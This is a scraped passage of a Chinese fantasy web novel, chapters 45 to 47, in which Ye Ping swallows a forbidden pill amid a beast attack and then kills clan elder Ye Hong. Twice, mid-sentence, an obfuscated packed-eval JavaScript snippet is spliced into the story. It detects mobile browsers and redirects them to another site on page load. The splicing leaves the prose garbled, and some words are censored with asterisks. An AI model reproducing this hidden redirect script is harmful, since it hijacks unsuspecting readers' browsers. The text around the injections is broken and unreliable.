叶鸿抬手一挥,身后的叶家子弟立刻上前一步,手按在腰间的武器上,气氛瞬间变得剑拔**张。 实验室外,异兽的吼叫声越来越近,甚至能听到影卫与异**战的金属碰撞声,可实验室内部,却陷入了家族高层与叶平、李默的对峙之中——一边是急于夺取成果的权力者,一边是不愿放弃心血的冒险者,而他们脚下的土地,正被异兽的铁蹄一点点吞噬。 第 45章 吞丹 叶鸿听到李默“拒不交素材”的话,脸色瞬间从威严的沉郁转为铁青,他藏在袖中的手指猛地攥紧,指节因用力而泛白,连声音都带上了一丝不易察觉的颤抖——那是愤怒到极致的征兆。 他突然冷笑一声,声音在实验室里回荡,压过了外面隐约的兽吼声。 “你真以为家族不知道你们在打什么主意?从通知你们转移开始,家族就睁一只眼闭一只眼——毕竟都是族中子弟,总要给些机会,不能把人逼得太紧,这才给了你们三天时间,让你们放手去试。” 李嵩也向前踏出一步,月白长袍的袖口无风自动,周身散发出的压迫感让柳家专家们忍不住后退了半步。 他的目光扫过破碎的聚能阵盘,又落在地面上未清理干净的暗紫色融灵液痕迹。 李嵩眼底的寒意越来越重:“派我和叶鸿来,就是为了避免后续扯皮——等你们实验到时限,我们直接接手素材,既给了你们尝试的体面,也不耽误家族的整体计划。可你们呢?” 他的声音陡然拔高,“你们竟敢用炼丹之法!用这种会彻底破坏躯体的禁术!” 这话像重锤砸在叶平与李默心头,两人脸色瞬间变了——他们知道家族可能默许了他们的“小动作”,却没想到家族连时间底线都算得清清楚楚,甚至早就安排好了后续接手的人。 叶平下意识地将怀里的能量容器往身后藏了藏,刚辩解“炼丹是为了提炼更高价值的成果”。 就被叶鸿厉声打断:“为了一己私欲,连核心素材都敢毁!你可知张玉汝的躯体对家族意味着什么?那是近些年来研究变化之道的唯一样本!家族要的是完整的躯体,是能反复研究的基础,不是你手里那枚不知道能不能用的‘丹药’!” 叶鸿越说越怒,抬手指向实验室外,“现在异兽破城,局面混乱,我们本可以带着躯体立刻转移,后续还有无数种研究可能。可你们呢?你们把唯一的样本炼没了!” 李嵩蹲下身,用指尖蘸了一点地面的融灵液,指尖传来的灼烧感让他眉头皱得更紧。 “这种禁术早在三百年前就被天人家族列为禁忌,就是因为它对素材的破坏性太大。” “炼得成,是侥幸;炼不成,就是彻底的浪费。” “你们赌赢了又如何?躯体没了,后续的研究链路全断了!家族投入的资源、魏赵秦三家的配合,最后只换来一枚孤注一掷的丹药,这就是你们所谓的‘成果’?” 实验室外突然传来一声凄厉的惨叫,一名影卫浑身是血地撞在门上,身后跟着两只体型庞大的裂地兽,兽爪在地面上刨出深深的沟壑。 可两位长老却像是没听见一般,所有注意力都集中在叶平与李默身上——对他们而言,异兽破城的危机固然紧急,但“素材被毁”的损失更让家族难以接受。 “交出你们炼出来的东西。”叶鸿的语气冷得像冰。 “不管是丹药还是其他什么,现在都属于家族。至于你们……”他的目光扫过叶平,“回叶家后,自去宗祠领罚,能不能保住性命,就看家族长老会的决定。” 李默攥紧拳头,心底涌起一股绝望。 他们赌上一切炼出混元大丹,本想靠这枚丹药在家族中翻身,却没想到从一开始就没逃出家族的掌控,最后还要落得“毁去素材、领受重罚”的下场。 实验室外的裂地兽已经撞破了大门,影卫们正拼死抵抗,可实验室里的对峙却丝毫没有缓和的迹象,反而随着长老们的愤怒,陷入了更危险的僵局。 他们可以继续对峙,但是外界的异兽可不会给叶家和李家什么面子,所以这种对峙必然是无法维持的。 如果不做出改变的话,那么结果大概率会是两位长老收回剩余的资源,并且将叶平和李默押解回家族当中听候发落。 叶鸿的话音刚落,实验室里的空气仿佛凝固了——叶家子弟的手按在武器上,影卫们警惕地盯着长老带来的人,外面裂地兽的吼叫声越来越近,可所有人的目光都聚焦在叶平身上。 他俊美的脸上褪去了最后一丝犹豫,取而代之的是一种破釜沉舟的狠厉,牙关紧咬,低声咒骂一句:“妈的,与其落到他们手里被剥夺一切,不如拼一把!” 这句话说得极轻,却像一颗火星落在了**桶里。 还没等众人反应过来,叶平突然动了——他的动作快得超出所有人预料,没有冲向对峙的叶家子弟,也没有朝着实验室后门突围,反而猛地转身,朝着前方扑了过去。 “叶平!你疯了吗?”李默最先反应过来,惊得大喊出声,下意识地伸手去拦,却只抓到一片衣角。 “难道你想对长老动手?你根本不是他们的对手!”他以为叶平要孤注一掷袭击长老,可下一秒,他就看清了叶平的目标——那颗黑白交织的混元大丹。 叶鸿和李嵩也愣住了,他们身为宗师级能力者,本已做好了应对叶平突袭的准备,却没料到对方的目标竟会是“丹药”。 叶家子弟和影卫们更是反应慢了半拍,等他们意识到要阻拦时,叶平已经冲到了阵盘旁。 他本就站在距离混元大丹最近的位置,加上所有人都猜错了他的意图,这短短几秒钟的空隙,竟成了无人阻拦的真空地带。 叶平一把抓住悬浮的混元大丹,丹药表面的黑白纹路在他掌心剧烈跳动,一股磅礴的能量顺着掌心涌入体内,让他的手指微微发麻。 他没有丝毫犹豫,张开嘴,将那颗丹药硬生生吞了下去。 丹药入口即化,化作两股截然不同的能量,一股炽热如烈火,带着「加速世界」的迅捷之力,顺着喉咙滑入食道;另一股冰冷如寒冰,裹挟着「颠倒世界」的衰亡之力,紧随其后涌入腹腔。 “你在干什么!” 叶鸿终于反应过来,震怒的吼声震得实验室的仪器嗡嗡作响,他猛地抬手,一道金色的能量匹练朝着叶平射去,却被李默下意识地挡了一下。 李默虽不认同叶平的疯狂,却也知道此刻阻止已无济于事,若叶鸿的攻击命中,叶平必死无疑。 叶平吞丹的瞬间,脑海里只有一个念头:“只要能消化这颗丹药,与它融合,就算家族再不满,也会因为我体内的‘能力因子’留下我,甚至让我配合后续实验。若是能借此掌握张玉汝的高阶能力,别说摆脱现在的不利局面,说不定还能压过那些关系户,跻身家族核心!” 可他还是低估了混元大丹的力量——那不是普通的能量晶体,而是凝聚了张玉汝毕生能力的核心,是两种截然相反力量强行融合的产物。 丹药入腹的瞬间,炽热与冰冷的能量在他体内轰然碰撞,一股要将他撕裂的剧痛瞬间席卷全身。 他能清晰地感受到,炽热的「加速世界」之力在疯狂冲刷他的经络,让他的血液流速陡然加快,肌肉纤维以肉眼可见的速度收缩、膨胀,仿佛要突破皮肤的束缚。 而冰冷的「颠倒世界」之力则在腐蚀他的血肉骨骼,让他的内脏泛起针扎般的疼痛,骨骼表面甚至开始浮现出黑色的冰晶,冰晶所过之处,细胞快速衰亡、坏死。 新生与衰亡在他体内同时上演,迅捷与缓慢在他的经络中相互拉扯,前进与**的力量在他的四肢百骸里疯狂冲撞——这些彼此矛盾的力量像两匹失控的野马,瞬间挣脱了他的掌控,将他的身体当作战场,肆意践踏。 叶平的身体开始不受控制地抽搐,皮肤表面一半泛起通红,一半凝结白霜,黑白交织的纹路从他的胸口蔓延至四肢,像一张诡异的网。 他想调动自身能量去压制,却发现体内的力量早已被丹药的能量冲散,连一丝力气都无法凝聚。剧痛让他眼前发黑,喉咙里溢出腥甜的血液,血液落在地面上,一半瞬间蒸发,一半凝结成冰——他终于明白,自己吞下的不是“改变命运的钥匙”,而是一颗足以将他彻底吞噬的“毁灭**”。 实验室里,叶鸿的怒火达到了顶点,李默的脸上满是震惊与无措,柳家专家和影卫们吓得不敢动弹,而外面的裂地兽已经冲破了最后一道防线,正朝着实验室内部狂奔而来。 叶平蜷缩在地上,身体在矛盾力量的冲击下不断变形,他的意识渐渐模糊,只剩下一个悔恨的念头:“我不该……不该这么贪心……” 叶鸿看着蜷缩在地上、身体一半通红一半结霜的叶平,气得额角青筋直跳。 那句“该死的畜生”几乎是从牙缝里挤出来的,声音里满是咬 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若是叶平**,那这些秘密就真的彻底消失了,家族投入的所有资源都将打水漂。 “妈的,倒了八辈子血霉!”叶鸿低声咒骂一句,脸上的愤怒渐渐被憋屈取代,那表情像是吞了一只死苍蝇般难受。 他深吸一口气,不再犹豫,快步走到叶平身边,抬手按在叶平的胸口——一股温和的金色能量从他掌心涌出,缓缓注入叶平体内,试图压制那两股疯狂冲撞的矛盾力量。 可刚一接触,叶鸿就皱紧了眉头——丹药的力量远比他想象的狂暴,金色能量刚进入叶平体内,就被炽热的「加速世界」之力冲得七零八落,还没等他调整,冰冷的「颠倒世界」之力又缠了上来,差点将他的能量反噬回去。 “单凭我一人,压制不住这两股力量。” 叶鸿立刻意识到问题的棘手,转头看向一旁的李嵩,语气里带着几分不甘的妥协,“李长老,麻烦你出手相助。” 李嵩抱臂站在一旁,脸上没什么表情,心里却在快速盘算——叶平是叶家的人,救不救本与他无关,可那颗混元大丹里的秘密,李家也同样觊觎。 若是叶平**,李家也捞不到任何好处;若是保住叶平,后续或许能从叶家那里分到研究份额。他看向叶鸿,语气平淡:“叶长老,救叶平不难,但李家总不能白出力吧?” 叶鸿心里清楚,这是李嵩在提条件。 他压下心底的不快,沉声道:“只要保住叶平的命,后续对他体内丹药力量的研究,李家可派三位核心研究员参与,所有研究数据,两家共享。另外,李家这次因异兽围城损失的矿场,叶家愿意出资源帮你们重建。” 这已经是他能给出的最大让步——为了保住叶平这个“移动素材库”,他不得不拿出实际利益来拉拢李嵩。 李嵩眼中闪过一丝满意,不再犹豫,快步上前,抬手按在叶平的后背——一股淡蓝色的能量从他掌心涌出,与叶鸿的金色能量形成呼应,一左一右包裹住叶平的身体,像两道屏障,将那两股矛盾力量暂时困在叶平的腹腔内。 “只能暂时压制,撑不了多久。”李嵩沉声道,“必须尽快离开这里,找个安全的地方布置阵法,彻底稳定他体内的能量,否则一旦压制失效,他还是会死。” 叶鸿点头,一边维持着能量输出,一边对身后的叶家子弟下令:“立刻清理出一条通道,护送我们突围!优先解决靠近的异兽,别让它们打扰我们!” 李默也立刻反应过来,指挥影卫配合叶家子弟行动——实验室外的裂地兽已经冲了进来,影卫们手持武器,与异兽展开激烈厮杀,金属碰撞声、兽吼声、惨叫声交织在一起,混乱到了极点。 叶平意识模糊间,只觉得身体里像是有两把刀在来回切割,剧痛让他不断抽搐,可胸口和后背传来的两股温和能量,又让他勉强吊着一口气。 实验室里的厮杀还在继续,叶鸿和李嵩一边压制着叶平体内的能量,一边警惕地观察着周围的情况,脸上满是凝重——他们不仅要对抗疯狂的异兽,还要保住叶平这个“麻烦的素材库”。 第 46章 炼化 “该死的!这些畜生怎么这么快!”叶鸿看着从实验室大门涌入的异兽,气得狠狠跺脚,金色能量输出都差点出现波动。 他赶来时特意让随行的叶家子弟加固了实验室外围防线。 三十名精锐能力者组成的防御阵,按理说至少能挡住异兽半个时辰。 可现在才过去不到十分钟,防线就被撕开了口子,几只体型比裂地兽更庞大的兽王,正迈着沉重的步伐,一步步踏入实验区域。 他想起路上看到的景象:长安外城空荡荡的街道,只有零星的异兽在游荡,百姓早已在镇守安排下撤离,连商铺都被封得严严实实。 可偏偏叶平与李默选的这个实验室,因为**了柳家专家、影卫、实验素材以及他们带来的人手,成了外城唯一“人口密集”的地方。 更别提这里还有不少能力者,而能力者对异兽而言,就像鲜血对鲨鱼的吸引力,不仅是最鲜美的食物,更是能助它们突破瓶颈的“晋升素材”。 “难怪……”叶鸿咬牙,终于明白防线为何崩得这么快——这块区域**的能力者数量,比外城其他地方加起来还多,自然成了异兽的重点**目标。 实验室大楼外传来此起彼伏的兽吼声,显然大多数异兽还被挡在外面,但那几只冲破防线的兽王,已经足够让场面彻底失控。 为首的是一只“赤瞳魔狮”,体型堪比两层楼高,棕色的鬃**间燃烧着淡红色的火焰,一双赤瞳扫视着实验室,目光落在那些实力较弱的柳家助手身上时,瞬间爆发出凶狠的光芒。 它猛地扑了过去,巨大的爪子一挥,两名助手甚至没来得及惨叫,就被拍得血肉模糊,尸体落在地上,瞬间被魔狮一口吞入腹中。 另一只“碧水玄蛇”则盘踞在实验室角落,长长的蛇尾横扫,将实验台撞得粉碎,几名试图反抗的大师级能力者冲上去,却被蛇尾缠住,骨骼碎裂的声音清晰可闻。 短短几分钟,实验室里就倒下了十几人,鲜血染红了地面,与之前的融灵液痕迹混在一起,显得格外狰狞。 叶鸿看得睚眦欲裂,双手紧握成拳,指节泛白——他是宗师级能力者,若是全力出手,这些兽王根本不够他打。 可现在,他的双手按在叶平胸口,金色能量源源不断地注入,一旦停下,叶平体内的矛盾力量就会立刻爆发,到时候不仅叶平会死,那颗混元大丹的秘密也会彻底消失。 旁边的李嵩也好不到哪里去,淡蓝色能量维持着对叶平后背的压制,同样不敢有丝毫分心。 “李默!挡住它们!”叶鸿嘶吼着,声音里满是憋屈。 李默早已拔出腰间的长刀,正与一只“飓风狼”周旋——这只兽王速度极快,李默虽能勉强应付,却也只能做到拖延,根本无法支援其他人。 其余的大师级能力者更惨,面对兽王的攻击,连一对一拖延都做不到,只能在异兽的追杀下狼狈逃窜,时不时有人倒下,惨叫声此起彼伏。 一只“岩甲熊”注意到了被能量包裹的叶平,迈着沉重的步伐冲过来,巨大的熊掌朝着叶平拍去。叶鸿睚眦欲裂,想出手却又不能,只能眼睁睁看着熊掌越来越近。 关键时刻,一名影卫猛地扑过来,用身体挡住了熊掌,“咔嚓”一声,影卫的骨骼瞬间碎裂,鲜血溅到了叶鸿的长袍上。 温热的鲜血让叶鸿的愤怒达到了顶点——他堂堂叶家长老,宗师级战力,竟要靠下属的牺牲来保护一个让他陷入困境的蠢货! 这是何等的**! 他看着怀里还在抽搐的叶平,看着周围不断倒下的手下,看着肆意**的异兽,心底的怒火几乎要将他吞噬。 可他的双手依旧不能停,金色能量还在源源不断地注入叶平体内,维系着这个“麻烦根源”的生命。 “叶平……你最好别死。”叶鸿低声嘶吼,声音里满是狠戾,“若是你活下来,我定要让你尝尝,今日我所受的**,是何等滋味!” 实验室外的兽吼声越来越近,更多的异兽冲破了防线,涌入实验区域。 叶鸿和李嵩依旧被束缚在原地,李默等人的抵抗越来越艰难,死亡的阴影笼罩着整个实验室,而这一切的始作俑者叶平,却在两位宗师级能力者的保护下,勉强吊着一口气。 叶鸿的掌心始终贴着叶平的胸口,金色能量像溪流般持续注入,可他的目光落在叶平那张因痛苦而扭曲的脸上时,眼底却满是复杂的情绪。 既有“恨不得这家伙立刻断气”的怨怼,又有“绝不能让之前的代价白费”的执拗。 刚才那名影卫牺牲时溅在他长袍上的鲜血还未干涸,温热的触感仿佛还在提醒他:为了保住叶平,他们已经付出了太多——防线崩溃、手下惨死、自己还陷入“眼睁睁看着**却无法出手”的**境地。 “该死的沉没成本……”叶鸿在心底暗骂一句。他很清楚,自己现在像极了家族里那些为了“不甘心之前的投入”而苦苦支撑的“舔狗”。 明明知道继续下去可能会付出更多,却因为舍不得已经投入的代价,只能硬着头皮走下去。 情感上,他恨叶平恨得牙痒痒,恨这个蠢货毁了一切。 可理智上,他又不得不承认:一旦叶平**,他们为这场实验投入的资源、牺牲的人手、甚至他自己承受的**,都将变成毫无意义的“沉没成本”,连一丝回报都得不到。 “必须让他活下来……”叶鸿深吸一口气,压下心底的怨怼,将更多的金色能量注入叶平体内。 他很清楚叶平为何会反应如此剧烈——叶平不过是个普通的大师级能力者,连宗师级的门槛都没摸到。 而混元大丹里凝聚的是张玉汝毕生的能力核心,其中蕴含的力量远超叶平的承载极限,就像让一个孩童去举千斤巨石,自然会被力量反噬,彻底失控。 而现在,他与李嵩两名宗师级能力者联手,相当于用“外力”帮叶平搭建了一座“缓冲桥”。 李嵩的淡蓝色能量负责梳理那些混乱的矛盾力量,将炽热的「加速世界」之力与冰冷的「颠倒世界」之力暂时分隔开。 他的金色能量则负责修复叶平受损的经络与细胞,同时一点点引导两股力量融入叶平的身体,让他的躯体逐渐适应这股远超自身极限的力量。 实验室里的惨叫声还在继续,却越来越稀疏。 一只“赤瞳魔狮”咬断了最后一名中级能力者的喉咙,棕色鬃**上沾满了鲜血,转头看向还在维持能量输出的叶鸿与李嵩,赤瞳里满是贪婪。 而另一边,“碧水玄蛇”的蛇尾扫过,最后一名高级能力者捂着胸口倒下,嘴角溢出的鲜血染红了地面。 高级能力者以下近乎全灭,高级能力者折损过半——原本热闹的实验室,此刻只剩下叶鸿、李嵩、叶平、李默,以及几只还在游荡的兽王。 每一个人的倒下,都像一把刀扎在叶鸿和李嵩的心上:那些死去的人,要么是叶家的精锐子弟,要么是李家的核心人手以及下属雍州四大家族成员。 这都是家族花费大量资源培养起来的,如今却为了保住叶平这个“麻烦”,死在了异兽的爪牙下。 随着生命的逝去,叶平身上的变化也越来越明显——他原本抽搐的身体渐渐平静下来,皮肤表面一半通红一半结霜的纹路开始缓缓融合,最终变成了淡淡的黑白交织色,像一层薄纱覆盖在他身上。 他胸口的起伏变得平稳,呼吸也逐渐均匀,原本因剧痛而紧绷的眉头,慢慢舒展开来。 “能量波动稳定了!”李嵩突然开口,声音里带着一丝疲惫,却也有几分松了口气的意味,“他体内的两股力量已经开始自主融合,不会再反噬了。” 叶鸿立刻收回部分金色能量,指尖探向叶平的脉搏——脉搏沉稳有力,不再像之前那样混乱急促,显然已经脱离了生命危险。 而此刻,叶平的眼皮微微动了动,似乎即将苏醒,他体内的混元大丹之力,正以肉眼可见的速度与他的身体融合,连他周身的气息,都从大师级能力者,隐隐朝着宗师级的方向攀升。 “终于……结束了。”李默拄着刀,靠在墙壁上,浑身是伤,声音里满是劫后余生的庆幸。 幸存的几人相互对视一眼,都从对方眼中看到了疲惫与松了口气——他们终于不用再维持紧绷的状态,终于有机会撤离这个堆满尸体、充满血腥味的实验室了。 几只兽王似乎还想扑上来,却被叶鸿冷冷扫了一眼——刚才因维持能量输出无法出手,现在叶平脱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546276|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离危险,他终于能释放出宗师级的威压。 一股磅礴的金色能量从他体内扩散开来,实验室里的空气瞬间凝固,几只兽王感受到那股恐怖的压力,竟下意识地后退了几步,不敢再上前。 “走!”叶鸿低喝一声,抬手将叶平扛在肩上,李嵩紧随其后,李默则拖着受伤的身体,跟在两人身后。 他们朝着实验室后门走去,身后的兽王不敢追击,只能眼睁睁看着他们离开。 众人刚要迈步走向实验室后门,扛着叶平的叶鸿突然感觉肩头一沉——原本气息平稳的叶平,体内突然爆发出一股磅礴的能量,黑白二色的光晕从他周身溢出,像浪潮般层层扩散。 最先变化的是叶平的气势,原本停留在大师级能力的气息,此刻如同坐火箭般飙升,那股强大的波动震得周围散落的实验碎片微微颤动,直到攀升至大师级巅峰才稍稍收敛,可那股隐隐凌驾于众人之上的压迫感,却让李默和李嵩都下意识地停下了脚步。 叶平缓缓睁开双眼,原本漆黑的瞳孔此刻变成了混沌色,既没有黑色的深邃,也没有白色的纯粹,反而像蕴含着无数光影变化,一眼望去,仿佛能看穿事物的本质。 他转动眼球,目光扫过实验室里的尸体、破碎的仪器,甚至能清晰地看到地面血迹中残留的能量轨迹——这就是「造化之眼」的力量,能洞悉一切变化,捕捉最细微的能量流动。 “这就是张玉汝的力量……”叶平低声呢喃,声音里带着一丝震撼与痴迷。 他能清晰地感受到体内两股力量的交融——炽热的「加速世界」之力让他的思维运转速度提升了数倍,周围人的动作在他眼中都慢了半拍;冰冷的「颠倒世界」之力则在他掌心凝聚,只需一个念头,就能让接触到的事物陷入迟滞。 这种掌控一切的感觉,远比他之前想象的更加强大。 “等一等。”叶平开口,语气平静,却带着一股不容置疑的力量。 可扛着他的叶鸿根本没理会——他现在满脑子都是尽快离开这个是非之地,把叶平交给家族长老会处理。 至于叶平的想法,在他看来不过是“蠢货刚捡回一条命就开始摆谱”。 叶鸿脚步不停,甚至加快了速度,朝着后门走去。 “我说,等一等。”叶平的语气冷了下来,混沌色的瞳孔中闪过一丝不悦。 他如今掌控着张玉汝的核心能力,心境也随力量的提升发生了变化——之前对叶鸿的敬畏早已消失,取而代之的是对“无视自己”的不满。 可叶鸿依旧没有停下,甚至冷哼一声:“少在这里装模作样,要不是为了家族,你以为你能活到现在?赶紧走!” 这句话彻底点燃了叶平心中的不满,一个念头瞬间闪过:“这个老东西,竟然还敢无视我!” 念头刚落,叶平的右手突然泛起一层黑色光晕,一股冰冷的能量顺着他的手臂蔓延,直接触碰到了叶鸿扛着他的肩头。 叶鸿原本还在快步前进,突然浑身一僵,一股强烈的虚弱感瞬间传遍全身,像是被抽走了所有力气。 他下意识地低头,看向自己与叶平接触的肩头——那里的衣料正在快速褪色、腐朽,露出的皮肤以肉眼可见的速度失去光泽,从健康的肤色变成枯灰色,肌肉也在不断萎缩,仿佛瞬间衰老了几十年,连骨骼都隐约透出脆弱的质感。 “你在干什么?!”叶鸿惊惧地大喊,猛地松开手,将叶平甩在地上,踉跄着后退几步,死死盯着自己枯萎的肩头,眼中满是难以置信的恐惧。 他是宗师级能力者,肉身强度远超常人,可刚才那股能量接触到他时,他竟连一丝抵抗的能力都没有,只能眼睁睁看着自己的血肉被抽干生命力,这种诡异的力量,比他见过的任何能力都要可怕。 叶平稳稳地落在地上,混沌色的瞳孔盯着惊慌失措的叶鸿,嘴角勾起一抹淡淡的冷笑:“叶长老,我刚才说,等一等。” 他抬手,掌心的黑色光晕再次亮起,周围的空气仿佛都变得冰冷起来,“现在,你愿意听了吗?” 李嵩和李默站在一旁,脸色骤变——他们都没想到,叶平融合混元大丹后,竟然能拥有如此恐怖的力量,连宗师级的叶鸿都能被他轻易重创。 第 47章 疯狂 李嵩站在原地,淡蓝色的能量还残留在身上,他却没有丝毫介入叶平与叶鸿冲突的意思。 他看着叶鸿因肩头枯萎而扭曲的脸,又瞥了眼叶平掌心跳动的黑色光晕,眼底飞快闪过一丝警惕,悄悄往后退了几步。 这个距离不远不近,既能观察局势,又能在突发状况时第一时间撤离,是他经过权衡后选择的“安全区”。 在他看来,叶平此刻的举动再正常不过——一个原本受制于人的中层嫡系,突然获得远超自身的力量,难免会生出“膨胀”的心态,对之前压制自己的长老产生抵触,甚至主动挑衅。 这种“力量改变心态”的戏码,在天人家族的历史里上演过无数次。 而叶鸿与叶平的冲突,本质上是叶家的内部事务:一个是维护家族权威的长老,一个是刚获力量的嫡系子弟,无论最后谁占上风,都是叶家自己的事。 他若是贸然介入,帮叶鸿,可能会得罪未来掌控强大力量的叶平;帮叶平,又会落得“干涉他族内务”的名声,无论怎么选,都未必能落好,反而可能把自己拖进泥潭。 “没必要蹚这浑水。” 李嵩在心底打定主意,目光落在叶平掌心的黑色光晕上时,却不由自主地收紧了瞳孔——那股力量,他太熟悉了,是张玉汝能力变化之一的「枯荣」。 「枯荣」能直接作用于生命本源,引发“衰亡”循环。 身为天人中的中高层,他比叶平更清楚这种力量的恐怖。 之前张玉汝还活着时,曾有天人宗师暗中偷袭对他出手,结果那人被这股力量触碰到手臂,短短半炷香的时间,整条手臂就从壮年状态衰亡成枯骨,最后不得不自断手臂才保住性命。 “我的寿数可不能这么浪费。”李嵩下意识地摸了摸自己的手腕,眼底闪过一丝忌惮。 他虽已是宗师级,寿数比普通人长数倍,但也经不起“衰亡力量”的消耗。 万一叶平与叶鸿打起来,那股力量波及到自己,哪怕只是擦到一点,都可能让他损失几十年寿数,这种“亏本买卖”,他绝不会做。 在确定张玉汝伏诛之前,整个雍州的天人宗师都对他避之不及,没人愿意主动靠近。 不是打不过,而是怕被那诡异的“衰亡力量”缠上,哪怕赢了也会付出惨痛代价。 就算张玉汝**,李家高层在讨论要不要参与研究时,也有不少人反对,担心“接触他的躯体或力量会引发未知风险”。 现在叶平融合了张玉汝的力量,相当于成了“行走的风险源”,他更不会轻易靠近。 “叶长老,叶平,有话好好说。”李嵩站在一个相当安全的距离,象征性地开口劝了一句,语气里却没有丝毫诚意。 “现在异兽还在外面游荡,我们当务之急是撤离,没必要在这里内耗。”他这话看似劝和,实则是在提醒两人:别在这里动手,拖得太久了,大家都没好果子吃。 叶鸿此刻正被虚弱感和愤怒包裹,根本没听进李嵩的话,只是死死盯着叶平:“你敢对我动手?你可知这是以下犯上!” 叶平则冷笑一声,掌心的黑色光晕更盛:“以下犯上又如何?现在的我,可不是你能随意拿捏的了。” 两人剑拔**张,气氛越来越紧张,可李嵩依旧站在原地,没有丝毫动作。 他很清楚,自己现在最好的选择就是“旁观”——既不介入叶家的内部冲突,也不靠近叶平这颗“定时**”,等两人闹够了,再一起撤离。 至于后续的麻烦,自有叶家去处理,他只要确保自己能安全离开,并且李家能拿到之前约定的“研究份额”,就足够了。 然而李嵩还是把事情想的太简单了,不仅仅是他,就连叶鸿也没有预料到接下来的发展。 只见叶平的表情忽然沉静下来,仿佛刚才那个狂妄的家伙只是鬼魂附身一样。 李嵩看着叶平沉静下来的侧脸,心底刚松了口气——他以为这小子终于恢复理智,明白现在不是内斗的时候,却没注意到叶平混沌色瞳孔深处,那抹一闪而过的冷厉。 叶鸿也收起了怒容,虽然肩头还在隐隐作痛,但他也清楚异兽环伺的处境,正想开口呵斥叶平几句,再催促众人尽快撤离,却见叶平的指尖突然泛起一层柔和的白色光晕。 那光晕太过平静,与之前黑色的“衰亡之力”截然不同,像是冬日里的暖阳,让在场所有人都下意识地放松了警惕。 在他们看来,叶平这是“服软”的信号,毕竟外面还有无数异兽等着,没人愿意在这种时候拼个你死我活。 “早这样不就好了……”叶鸿低声嘀咕,刚想迈步走向叶平,却听到叶平轻吐出两个字:“刹那。” 话音未落,叶平的身影突然在原地消失——这种速度已经不像是速度型能力者的“快速移动”,而是像被凭空抹去一般,连一丝能量波动都没留下。 李嵩瞳孔骤缩,宗师级的感知让他隐约捕捉到一道极淡的白色轨迹,可还没等他做出反应,那道轨迹就已出现在叶鸿身后。 “噗嗤——” 沉闷的穿透声在实验室里响起,叶平的右手带着白色光晕,从叶鸿的后背径直穿透,掌心握着一颗还在跳动的淡金色能量核心——那是叶鸿身为宗师级能力者的生命本源。 叶鸿的身体僵在原地,瞳孔放大,嘴角溢出鲜血,他艰难地转头,看向身后的叶平,眼中满是难以置信的震惊:“你……你竟敢……” “天人五衰。”叶平的声音平淡得像在陈述一件无关紧要的事,掌心的白色光晕缓缓散去,取而代之的是一股黑色能量顺着他的手臂,涌入叶鸿体内。 下一秒,恐怖的变化开始在叶鸿身上上演。 他身上那件不染纤尘的天衣,瞬间变得污浊不堪,原本精致的纹路被黑色污渍覆盖,像是被扔进了泥潭。 他头顶原本无形的“天华”开始快速衰败,金色的光芒一点点褪去,变成灰蒙蒙的颜色,最终彻底消散。 他原本散发着淡淡清香的身体,突然涌出一股刺鼻的腐臭味,像是尸体腐烂的味道。 腋下、脖颈等部位开始渗出粘稠的污浊体液,顺着皮肤滑落,在地面上汇成一滩黑色的液体。 最后,叶鸿的眼神变得空洞,原本挺直的脊背也垮了下来,脸上露出一种极度疲惫、生无可恋的表情——那是“不乐本座”的症状,对自己的存在产生了强烈的厌恶。 “这……这是天人五衰?!”李嵩站在百米外,目眦欲裂,声音里满是惊恐。 叶鸿感受着身体的衰败与内心的绝望,一股强烈的“想要结束一切”的欲望涌上心头。 他看着叶平冰冷的眼神,又低头看了看自己腐烂般的身体,嘴角突然勾起一抹如释重负的笑容。 “上路吧……”叶平的声音再次响起,像是压垮骆驼的最后一根稻草。 叶鸿缓缓举起双手,重重拍在自己的胸口——那里是他能量核心的位置,虽然核心已被叶平夺走,但残余的能量足以引爆躯体。 “轰”的一声轻响,叶鸿的身体在能量自爆中化为碎片,散落一地,只剩下一股刺鼻的焦臭味在实验室里弥漫。 直到叶鸿彻底消散,李嵩等人才从震惊中回过神来。 愤怒与恐惧像两股浪潮,瞬间淹没了李嵩——叶平不仅杀了叶鸿,还当着他的面使用了“天人五衰”,这既是对叶家的挑衅,也是对所有天人的威胁! “动手!控制住这个家伙!”李嵩一边疯狂后退,一边嘶吼着下令,宗师级的能量在他周身爆发,淡蓝色的光罩将他护得严严实实。 那些残存的家族人员则彻底傻眼了。 魏家的汉子张大嘴巴,手里的武器“哐当”一声掉在地上,嘴里喃喃骂道:“奶奶的……还是这些大人物花样多,一会儿打架一会儿杀自己人,老子都看不懂他们在干什么了!” 李家的几名高级能力者面面相觑,手里的武器举起来又放下,不知道该听从李嵩的命令上前,还是该先逃离这个充满变数的实验室。 叶平站在原地,掌心还残留着叶鸿能量核心的余温,混沌色的瞳孔扫过惊慌失措的众人,嘴角勾起一抹冰冷的弧度。 他知道,杀了叶鸿,就等于彻底与叶家撕破脸,但他不在乎——现在的他,掌控着张玉汝的核心能力,早已不是那个需要仰人鼻息的中层嫡系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16557700|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 从今往后,该由他来决定自己的命运了。 叶平的脑海里突然响起一道诡异的声音——那声音低沉沙哑,却又带着一种熟悉的蛊惑感,像无数根细针,轻轻扎在他的意识深处:“杀了他们吧,杀了他们吧……” “谁?!”叶平猛地抬头,混沌色的瞳孔瞬间放大,「造化之眼」全力运转,目光扫过实验室的每一个角落。 